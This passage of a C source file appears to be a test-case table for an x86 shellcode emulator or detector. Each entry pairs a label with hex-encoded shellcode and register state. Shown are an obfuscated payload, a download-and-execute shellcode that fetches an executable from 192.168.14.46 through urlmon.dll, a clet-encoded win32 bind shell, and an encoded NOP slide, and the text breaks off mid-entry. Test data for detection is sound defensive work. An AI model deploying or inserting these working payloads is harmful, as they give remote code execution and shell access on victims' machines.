...yU...  .._..g[.\"\n\t\t\"\\xd4\\xd4\\x55\\x12\\xcc\\xd4\\xd4\\xd4\\x79\\x5d\\x57\\x47\\xd5\\xd4\\xd4\\x79\"\t // 0x0870  ..U.....  y]WG...y\"\n\t\t\"\\xd7\\x57\\x5b\\xd5\\xd4\\xd4\\x5d\\x57\\x43\\xd5\\xd4\\xd4\\x79\\xd7\\x57\\x5b\"\t // 0x0880  .W[...]W  C...y.W[\"\n\t\t\"\\xd5\\xd4\\xd4\\x5d\\x57\\x4f\\xd5\\xd4\\xd4\\x79\\xd7\\x57\\x5b\\xd5\\xd4\\xd4\"\t // 0x0890  ...]WO..  .y.W[...\"\n\t\t\"\\x5d\\x57\\x4b\\xd5\\xd4\\xd4\\x89\\x8a\\x8d\\x8c\\x17\\x84\\x6c\\xd4\\xd0\\xd4\"\t // 0x08a0  ]WK.....  ....l...\"\n\t\t\"\\xd4\\x3c\\xa5\\xd5\\xd4\\xd4\\xe9\\xd4\\xd4\\xd4\\xd4\\xdb\\x50\\x3e\\x2b\\x2b\"\t // 0x08b0  .<......  ....P>++\"\n\t\t\"\\x2b\\x5d\\x57\\x57\\xd5\\xd4\\xd4\\x8c\\x5f\\x47\\x57\\xd5\\xd4\\xd4\\x86\\xbc\"\t // 0x08c0  +]WW....  _GW.....\"\n\t\t\"\\xd5\\xd5\\xd4\\xd4\\xea\\x2b\\x87\\x95\\xe9\\xd4\\xd4\\xd4\\xd4\\xdb\\x51\\x31\"\t // 0x08d0  .....+..  ......Q1\"\n\t\t\"\\x2b\\x2b\\x2b\\xbc\\xd2\\xd4\\xd4\\xd4\\xbc\\xd5\\xd4\\xd4\\xd4\\xbc\\xd6\\xd4\"\t // 0x08e0  +++.....  ........\"\n\t\t\"\\xd4\\xd4\\xea\\x2b\\x87\\x91\\xe9\\x2b\\x2b\\x2b\\x2b\\xdb\\x50\\x36\\x2b\\x2b\"\t // 0x08f0  ...+...+  +++.P6++\"\n\t\t\"\\x2b\\x5d\\x57\\x2c\\xd4\\xd4\\xd4\\x83\\x84\\x87\\x59\\x47\\xab\\xd5\\xd4\\xd4\"\t // 0x0900  +]W,....  ..YG....\"\n\t\t\"\\x12\\xd6\\xc2\\x86\\x59\\x47\\x28\\xd4\\xd4\\xd4\\xb2\\x13\\xd6\\xd6\\xd4\\xb2\"\t // 0x0910  ....YG(.  ........\"\n\t\t\"\\x5f\\xaf\\xdc\\xb2\\x5d\\xae\\xd6\\x5f\\xaf\\xd0\\x5d\\xae\\xd0\\x86\\x5f\\x57\"\t // 0x0920  _...].._  ..]..._W\"\n\t\t\"\\x2c\\xd4\\xd4\\xd4\\x84\\xea\\x2b\\x87\\x9d\\xe9\\xd4\\xd4\\xd4\\xd4\\xdb\\x58\"\t // 0x0930  ,.....+.  .......X\"\n\t\t\"\\x12\\x2b\\x2b\\x2b\\x8f\\x8c\\x8b\\x84\\x6c\\xd4\\xc4\\xd4\\xd4\\x3c\\x01\\xd4\"\t // 0x0940  .+++....  l....<..\"\n\t\t\"\\xd4\\xd4\\xe9\\xd4\\xd4\\xd4\\xd4\\xdb\\x50\\x3e\\x2b\\x2b\\x2b\\x5d\\x57\\xb4\"\t // 0x0950  ........  P>+++]W.\"\n\t\t\"\\xd5\\xd4\\xd4\\x8c\\x3c\\xed\\xd4\\xd4\\xd4\\x3c\\x0c\\xd4\\xd4\\xd4\\x3c\\x83\"\t // 0x0960  ....<...  .<....<.\"\n\t\t\"\\xd4\\xd4\\xd4\\x3c\\xcb\\xd5\\xd4\\xd4\\x17\\x5f\\x57\\x2c\\xd4\\xd4\\xd4\\x84\"\t // 0x0970  ...<....  ._W,....\"\n\t\t\"\\xea\\x2b\\x87\\x81\\x5f\\x57\\x7f\\xd5\\xd4\\xd4\\x94\\x5d\\x57\\x7f\\xd5\\xd4\"\t // 0x0980  .+.._W..  ...]W...\"\n\t\t\"\\xd4\\xe9\\xd1\\xd4\\xd4\\xd4\\xdb\\x50\\xd1\\xd4\\xd4\\xd4\\x3d\\x96\\x2b\\x2b\"\t // 0x0990  .......P  ....=.++\"\n\t\t\"\\x2b\\x17\\xbc\\xd4\\xd4\\xd4\\xd4\\xbc\\xd0\\xd4\\xd4\\xd4\\x59\\x47\\x53\\xd5\"\t // 0x09a0  +.......  ....YGS.\"\n\t\t\"\\xd4\\xd4\\x86\\x5f\\x47\\x2c\\xd4\\xd4\\xd4\\x86\\xea\\x2b\\x87\\x99\\xe9\\xd5\"\t // 0x09b0  ..._G,..  ...+....\"\n\t\t\"\\xd4\\xd4\\xd4\\xdb\\x58\\x64\\x2b\\x2b\\x2b\\x17\\x83\\x82\\x5f\\x6f\\x53\\xd5\"\t // 0x09c0  ....Xd++  +..._oS.\"\n\t\t\"\\xd4\\xd4\\x5f\\x67\\x5f\\xd5\\xd4\\xd4\\xed\\x23\\x8a\\x8b\\xdb\\x50\\xe6\\xd4\"\t // 0x09d0  .._g_...  .#...P..\"\n\t\t\"\\xd4\\xd4\\xbc\\xd4\\xd4\\xd4\\xd4\\xbc\\xd4\\xc4\\xd4\\xd4\\x5f\\x47\\xb4\\xd5\"\t // 0x09e0  ........  ...._G..\"\n\t\t\"\\xd4\\xd4\\x86\\x5f\\x47\\x2c\\xd4\\xd4\\xd4\\x86\\xea\\x2b\\x87\\x99\\xe9\\xd5\"\t // 0x09f0  ..._G,..  ...+....\"\n\t\t\"\\xd4\\xd4\\xd4\\xdb\\x58\\xa4\\x2b\\x2b\\x2b\\xd5\\x57\\x5f\\xd5\\xd4\\xd4\\x3d\"\t // 0x0a00  ....X.++  +.W_...=\"\n\t\t\"\\x84\\xd4\\xd4\\xd4\\x3c\\xba\\xd4\\xd4\\xd4\\x84\\x5f\\x57\\x2c\\xd4\\xd4\\xd4\"\t // 0x0a10  ....<...  .._W,...\"\n\t\t\"\\x84\\xea\\x2b\\x87\\x81\\x8c\\x17\\x5d\\x13\\x84\\xea\\x2b\\x47\\x43\\xd4\\xd4\"\t // 0x0a20  ..+....]  ...+GC..\"\n\t\t\"\\xd4\\x8b\\x84\\x83\\xbc\\xd4\\xd4\\xd4\\xd4\\x84\\xea\\x2b\\x47\\x47\\xd4\\xd4\"\t // 0x0a30  ........  ...+GG..\"\n\t\t\"\\xd4\\x8b\\x8b\\x8b\\x8c\\x17\\x59\\x47\\xb0\\xd5\\xd4\\xd4\\x86\\x59\\x47\\xb8\"\t // 0x0a40  ......YG  .....YG.\"\n\t\t\"\\xd5\\xd4\\xd4\\x86\\xea\\x2b\\x47\\x53\\xd4\\xd4\\xd4\\x8b\\x8b\\x5d\\x57\\xbc\"\t // 0x0a50  .....+GS  .....]W.\"\n\t\t\"\\xd5\\xd4\\xd4\\x17\\x2b\\x67\\xbc\\xd5\\xd4\\xd4\\x84\\xbc\\xd5\\xd4\\xd4\\xd4\"\t // 0x0a60  ....+g..  ........\"\n\t\t\"\\x5f\\x47\\xb4\\xd5\\xd4\\xd4\\x86\\xea\\x2b\\x47\\x5b\\xd4\\xd4\\xd4\\x8b\\x8b\"\t // 0x0a70  _G......  +G[.....\"\n\t\t\"\\x8b\\x8b\\x3d\\x97\\x2b\\x2b\\x2b\\x5f\\x47\\xbc\\xd5\\xd4\\xd4\\x86\\xea\\x2b\"\t // 0x0a80  ..=.+++_  G......+\"\n\t\t\"\\x47\\x5f\\xd4\\xd4\\xd4\\x8b\\x17\\x84\\x59\\x57\\xd8\\xd5\\xd4\\xd4\\x84\\x59\"\t // 0x0a90  G_......  YW.....Y\"\n\t\t\"\\x57\\xc8\\xd5\\xd4\\xd4\\x84\\xbc\\xd4\\xd4\\xd4\\xd4\\xbc\\xd4\\xd4\\xd4\\xd4\"\t // 0x0aa0  W.......  ........\"\n\t\t\"\\xbc\\xfc\\xd4\\xd4\\xd4\\xbc\\xd4\\xd4\\xd4\\xd4\\xbc\\xd4\\xd4\\xd4\\xd4\\xbc\"\t // 0x0ab0  ........  ........\"\n\t\t\"\\xd4\\xd4\\xd4\\xd4\\x59\\x57\\xb8\\xd5\\xd4\\xd4\\x84\\xbc\\xd4\\xd4\\xd4\\xd4\"\t // 0x0ac0  ....YW..  ........\"\n\t\t\"\\xea\\x2b\\x47\\x38\\xd4\\xd4\\xd4\\x8c\\x17\\x3c\\x7d\\x2b\\x2b\\x2b\\xbc\\xd4\"\t // 0x0ad0  .+G8....  .<}+++..\"\n\t\t\"\\xd4\\xd4\\xd4\\x2b\\x47\\x3c\\xd4\\xd4\\xd4\\x44\\xd4\\x00\\x5c\\x00\\x43\\x00\"\t // 0x0ae0  ...+G<..  .D..\\.C.\"\n\t\t\"\\x24\\x00\\x5c\\x00\\x31\\x00\\x32\\x00\\x33\\x00\\x34\\x00\\x35\\x00\\x36\\x00\"\t // 0x0af0  $.\\.1.2.  3.4.5.6.\"\n\t\t\"\\x31\\x00\\x31\\x00\\x31\\x00\\x31\\x00\\x31\\x00\\x31\\x00\\x31\\x00\\x31\\x00\"\t // 0x0b00  1.1.1.1.  1.1.1.1.\"\n\t\t\"\\x31\\x00\\x31\\x00\\x31\\x00\\x31\\x00\\x31\\x00\\x31\\x00\\x31\\x00\\x2e\\x00\"\t // 0x0b10  1.1.1.1.  1.1.1...\"\n\t\t\"\\x64\\x00\\x6f\\x00\\x63\\x00\\x00\\x00\\x01\\x10\\x08\\x00\\xcc\\xcc\\xcc\\xcc\"\t // 0x0b20  d.o.c...  ........\"\n\t\t\"\\x20\\x00\\x00\\x00\\x30\\x00\\x2d\\x00\\x00\\x00\\x00\\x00\\x88\\x2a\\x0c\\x00\"\t // 0x0b30   ...0.-.  .....*..\"\n\t\t\"\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x28\\x8c\\x0c\\x00\\x01\\x00\\x00\\x00\"\t // 0x0b40  ........  (.......\"\n\t\t\"\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\",\n\n\t\t.codesize = 1818,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"tills neuer\",\n\t\t.code =  \n\t\t\"\\xeb\\x54\\x8b\\x75\\x3c\\x8b\\x74\\x35\\x78\\x03\\xf5\\x56\\x8b\\x76\\x20\\x03\"\t // 0x0020  .T.u<.t5  x..V.v .\"\n\t\t\"\\xf5\\x33\\xc9\\x49\\x41\\xad\\x33\\xdb\\x36\\x0f\\xbe\\x14\\x28\\x38\\xf2\\x74\"\t // 0x0030  .3.IA.3.  6...(8.t\"\n\t\t\"\\x08\\xc1\\xcb\\x0d\\x03\\xda\\x40\\xeb\\xef\\x3b\\xdf\\x75\\xe7\\x5e\\x8b\\x5e\"\t // 0x0040  ......@.  .;.u.^.^\"\n\t\t\"\\x24\\x03\\xdd\\x66\\x8b\\x0c\\x4b\\x8b\\x5e\\x1c\\x03\\xdd\\x8b\\x04\\x8b\\x03\"\t // 0x0050  $..f..K.  ^.......\"\n\t\t\"\\xc5\\xc3\\x75\\x72\\x6c\\x6d\\x6f\\x6e\\x2e\\x64\\x6c\\x6c\\x00\\x43\\x3a\\x5c\"\t // 0x0060  ..urlmon  .dll.C:\\\"\n\t\t\"\\x55\\x2e\\x65\\x78\\x65\\x00\\x33\\xc0\\x64\\x03\\x40\\x30\\x78\\x0c\\x8b\\x40\"\t // 0x0070  U.exe.3.  d.@0x..@\"\n\t\t\"\\x0c\\x8b\\x70\\x1c\\xad\\x8b\\x40\\x08\\xeb\\x09\\x8b\\x40\\x34\\x8d\\x40\\x7c\"\t // 0x0080  ..p...@.  ...@4.@|\"\n\t\t\"\\x8b\\x40\\x3c\\x95\\xbf\\x8e\\x4e\\x0e\\xec\\xe8\\x84\\xff\\xff\\xff\\x83\\xec\"\t // 0x0090  .@<...N.  ........\"\n\t\t\"\\x04\\x83\\x2c\\x24\\x3c\\xff\\xd0\\x95\\x50\\xbf\\x36\\x1a\\x2f\\x70\\xe8\\x6f\"\t // 0x00a0  ..,$<...  P.6./p.o\"\n\t\t\"\\xff\\xff\\xff\\x8b\\x54\\x24\\xfc\\x8d\\x52\\xba\\x33\\xdb\\x53\\x53\\x52\\xeb\"\t // 0x00b0  ....T$..  R.3.SSR.\"\n\t\t\"\\x24\\x53\\xff\\xd0\\x5d\\xbf\\x98\\xfe\\x8a\\x0e\\xe8\\x53\\xff\\xff\\xff\\x83\"\t // 0x00c0  $S..]...  ...S....\"\n\t\t\"\\xec\\x04\\x83\\x2c\\x24\\x62\\xff\\xd0\\xbf\\xef\\xce\\xe0\\x60\\xe8\\x40\\xff\"\t // 0x00d0  ...,$b..  ....`.@.\"\n\t\t\"\\xff\\xff\\x52\\xff\\xd0\\xe8\\xd7\\xff\\xff\\xff\\x68\\x74\\x74\\x70\\x3a\\x2f\"\t // 0x00e0  ..R.....  ..http:/\"\n\t\t\"\\x2f\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x31\\x34\\x2e\\x34\\x36\\x3a\\x35\"\t // 0x00f0  /192.168  .14.46:5\"\n\t\t\"\\x35\\x30\\x33\\x38\\x2f\\x6d\\x64\\x6e\\x65\\x78\\x2e\\x65\\x78\\x65\\x00\\x00\"\t // 0x0100  5038/mdn  ex.exe..\"\n\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\t // 0x0110  ........  ........\"\n\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\t // 0x0120  ........  ........\"\n\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\t // 0x0130  ........  ........\"\n\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\t // 0x0140  ........  ........\"\n\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\t // 0x0150  ........  ........\"\n\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\t // 0x0160  ........  ........\"\n\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\t // 0x0170  ........  ........\"\n\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\",\t  // 0x0180  ........  ........\"\n\n\t\t.codesize = 0x180,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"win32_bind pex & ./clet -S win32_bind_pex -b 50 -t -B -c -f ../spectrum/stat2 -a -n 123\",\n\t\t.code =  \n\t\t\"\\x56\\x4F\\x4C\\x41\\x54\\x49\\x4C\\x49\\x54\\x49\\x45\\x53\\x52\\x45\\x43\\x45\"\n\t\t\"\\x44\\x45\\x44\\x42\\x45\\x4C\\x4C\\x4D\\x41\\x4E\\x54\\x52\\x41\\x44\\x49\\x54\"\n\t\t\"\\x49\\x4F\\x4E\\x53\\x45\\x58\\x41\\x4D\\x49\\x4E\\x45\\x44\\x55\\x50\\x52\\x4F\"\n\t\t\"\\x4F\\x54\\x53\\x50\\x41\\x52\\x4C\\x4F\\x52\\x53\\x45\\x58\\x43\\x45\\x4C\\x4C\"\n\t\t\"\\x45\\x4E\\x43\\x45\\x4C\\x41\\x42\\x53\\x44\\x45\\x45\\x50\\x45\\x4E\\x53\\x52\"\n\t\t\"\\x41\\x44\\x49\\x41\\x4E\\x54\\x46\\x52\\x45\\x53\\x48\\x57\\x41\\x54\\x45\\x52\"\n\t\t\"\\x53\\x55\\x53\\x50\\x45\\x43\\x54\\x49\\x4E\\x47\\x42\\x52\\x4F\\x49\\x4C\\x53\"\n\t\t\"\\x42\\x41\\x44\\x47\\x45\\x52\\x49\\x4E\\x47\\x4D\\x41\\xEB\\x32\\x59\\x31\\xC0\"\n\t\t\"\\xB0\\x5C\\x8B\\x11\\x81\\xEA\\xC1\\x58\\x63\\x43\\x81\\xC2\\x8D\\xED\\x76\\x39\"\n\t\t\"\\x81\\xF2\\x74\\x22\\x74\\x71\\xC1\\xC2\\x0F\\xC1\\xC2\\x15\\x89\\x11\\x81\\xE9\"\n\t\t\"\\xFE\\xFF\\xFF\\xFF\\x41\\x41\\x2C\\x01\\x48\\x48\\x48\\x74\\x07\\xEB\\xD3\\xE8\"\n\t\t\"\\xC9\\xFF\\xFF\\xFF\\x1B\\x8A\\xD8\\x59\\x33\\x48\\x78\\x88\\xBF\\x98\\x84\\x8E\"\n\t\t\"\\x50\\x30\\xF1\\x6E\\xF9\\x8B\\x34\\x53\\xEE\\x78\\x26\\xA8\\x23\\x91\\x94\\xD3\"\n\t\t\"\\x12\\xD8\\x75\\x8C\\x83\\x90\\xAA\\x05\\x36\\x8C\\x1A\\x53\\x27\\xC7\\x0D\\xD7\"\n\t\t\"\\x8B\\xCE\\xB4\\x8F\\xF8\\x8D\\x7A\\x02\\x86\\x8E\\xD4\\x13\\x3C\\x8B\\x5A\\xC7\"\n\t\t\"\\x92\\xFB\\xD6\\xEE\\x3E\\x06\\x27\\xD4\\x84\\xAA\\x96\\x87\\x94\\x9A\\x24\\x1C\"\n\t\t\"\\x37\\x41\\xE1\\xC9\\x4B\\x98\\x7A\\x62\\x86\\x8E\\x04\\x55\\xBC\\x8E\\xAE\\xBF\"\n\t\t\"\\xB9\\xED\\xB2\\xFD\\xB4\\x8C\\xDA\\x3F\\x3A\\xBC\\x53\\xD5\\x90\\x8B\\x27\\x45\"\n\t\t\"\\xAC\\x02\\xB2\\xBF\\xB8\\x8E\\x6A\\x14\\xC5\\x94\\x6A\\xD3\\xD4\\x81\\x7C\\x8F\"\n\t\t\"\\xD8\\xBE\\x64\\xF2\\x63\\x69\\x2D\\x02\\xFA\\x10\\x42\\x78\\x6A\\x0F\\x3E\\x98\"\n\t\t\"\\x39\\xD1\\x65\\xFA\\x2A\\xBB\\xA4\\x8C\\x77\\xD1\\x05\\xBA\\x09\\x37\\x05\\x05\"\n\t\t\"\\xCC\\x88\\x42\\x27\\x19\\x21\\x73\\x5C\\x01\\x71\\xD7\\x17\\xD3\\x54\\x70\\x5C\"\n\t\t\"\\xB1\\x11\\x30\\x72\\xA9\\x11\\x2F\\x42\\xA8\\xD1\\x65\\x3A\\xFA\\xF0\\xA3\\x72\"\n\t\t\"\\xAA\\x71\\x5A\\x6D\\xFD\\x40\\xC9\\x66\\x6B\\x5A\\x70\\x0C\\x21\\x01\\x54\\x72\"\n\t\t\"\\xE9\\x07\\xE8\\x65\\xCE\\xE4\\xD0\\x4D\\xE9\\x67\\x38\\x82\\xE9\\x07\\xE8\\x65\"\n\t\t\"\\x12\\x63\\xDB\\x63\\xE9\\x67\\x68\\x82\\x39\\x31\\x70\\x4C\\xB1\\x85\\xEC\\x0C\"\n\t\t\"\\x5B\\x7A\\xED\\xA1\\x63\\x39\\x70\\xFC\\x61\\xA0\\x1C\\x15\\xFA\\x10\\x8D\\x75\"\n\t\t\"\\x4C\\xA8\\x5C\\xA2\\x09\\xBD\\xD6\\x9F\\x22\\x41\\xCF\\x7F\\x92\\xFB\\x36\\x2C\"\n\t\t\"\\xDE\\x27\\x8F\\xB9\\xA3\\xC2\\x30\\xEE\\x1C\\x80\\xB1\\xE1\\x2E\\x85\\x3C\\xC4\"\n\t\t\"\\xB3\\x63\\x74\\xEC\\x3B\\xD2\\x05\\x5A\\x69\\x21\\x50\\xC2\\x89\\xA1\\x4C\\x27\"\n\t\t\"\\x89\\x31\\x50\\x22\\x83\\x89\\x8C\\x01\\x51\\xDE\\x36\\xA2\\x63\\xA9\\x6C\\xFC\"\n\t\t\"\\x73\\xCB\\x65\\xFA\\x6C\\xC1\\x35\\xBF\\x40\\xD0\\x05\\x4A\\xE9\\x07\\xE8\\x35\"\n\t\t\"\\x23\\x47\\x73\\x12\\xE9\\x67\\x78\\x3C\\x81\\xFE\\x62\\x17\\xAF\\x96\\x69\\x92\"\n\t\t\"\\x43\\x42\\x42\\x41\\x42\\x43\\x43\\x43\\x41\\x41\\x42\\x42\\x42\\x43\\x41\\x43\"\n\t\t\"\\x43\\x41\\x43\\x41\\x42\\x43\\x41\\x41\\x43\\x41\\x43\\x42\\x43\\x41\\x41\\x43\"\n\t\t\"\\x43\\x43\\x43\\x41\\x41\\x42\\x43\\x41\\x41\\x43\\x43\\x41\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x03\\x43\",\n\t\t.codesize = 580,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"clet decoded nop slide (144 0x90 decoded with ./clet -S 144nop -b 50 -t -B -c -f ../spectrum/stat2 -a -n 123) \",\n\t\t.code =  \n\t\t\"\\x43\\x41\\x50\\x53\\x50\\x45\\x43\\x49\\x41\\x4C\\x49\\x53\\x54\\x53\\x41\\x43\"\n\t\t\"\\x43\\x45\\x53\\x53\\x49\\x4E\\x47\\x41\\x4D\\x42\\x4C\\x45\\x44\\x41\\x4D\\x45\"\n\t\t\"\\x52\\x49\\x43\\x41\\x52\\x45\\x55\\x4E\\x49\\x54\\x45\\x44\\x57\\x41\\x52\\x52\"\n\t\t\"\\x41\\x4E\\x54\\x59\\x53\\x4C\\x41\\x50\\x53\\x54\\x49\\x43\\x4B\\x43\\x52\\x59\"\n\t\t\"\\x50\\x54\\x4F\\x47\\x52\\x41\\x50\\x48\\x49\\x43\\x41\\x4C\\x4C\\x59\\x41\\x44\"\n\t\t\"\\x56\\x49\\x43\\x45\\x45\\x4E\\x4A\\x4F\\x49\\x4E\\x53\\x47\\x4C\\x4F\\x52\\x49\"\n\t\t\"\\x46\\x49\\x43\\x41\\x54\\x49\\x4F\\x4E\\x50\\x48\\x4F\\x45\\x4E\\x49\\x58\\x41\"\n\t\t\"\\x48\\x4D\\x45\\x44\\x41\\x42\\x41\\x44\\x50\\x52\\x4F\\xEB\\x2E\\x58\\x31\\xDB\"\n\t\t\"\\xB3\\x64\\x8B\\x08\\xC1\\xC1\\x07\\x81\\xF1\\x64\\x9A\\xAA\\x3B\\x81\\xC1\\xC4\"\n\t\t\"\\x73\\xD8\\x66\\xC1\\xC1\\x0A\\x81\\xC1\\x31\\x85\\xF2\\x3B\\x89\\x08\\x40\\x40\"\n\t\t\"\\x40\\x40\\x80\\xEB\\x02\\x4B\\x4B\\x74\\x07\\xEB\\xD7\\xE8\\xCD\\xFF\\xFF\\xFF\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xA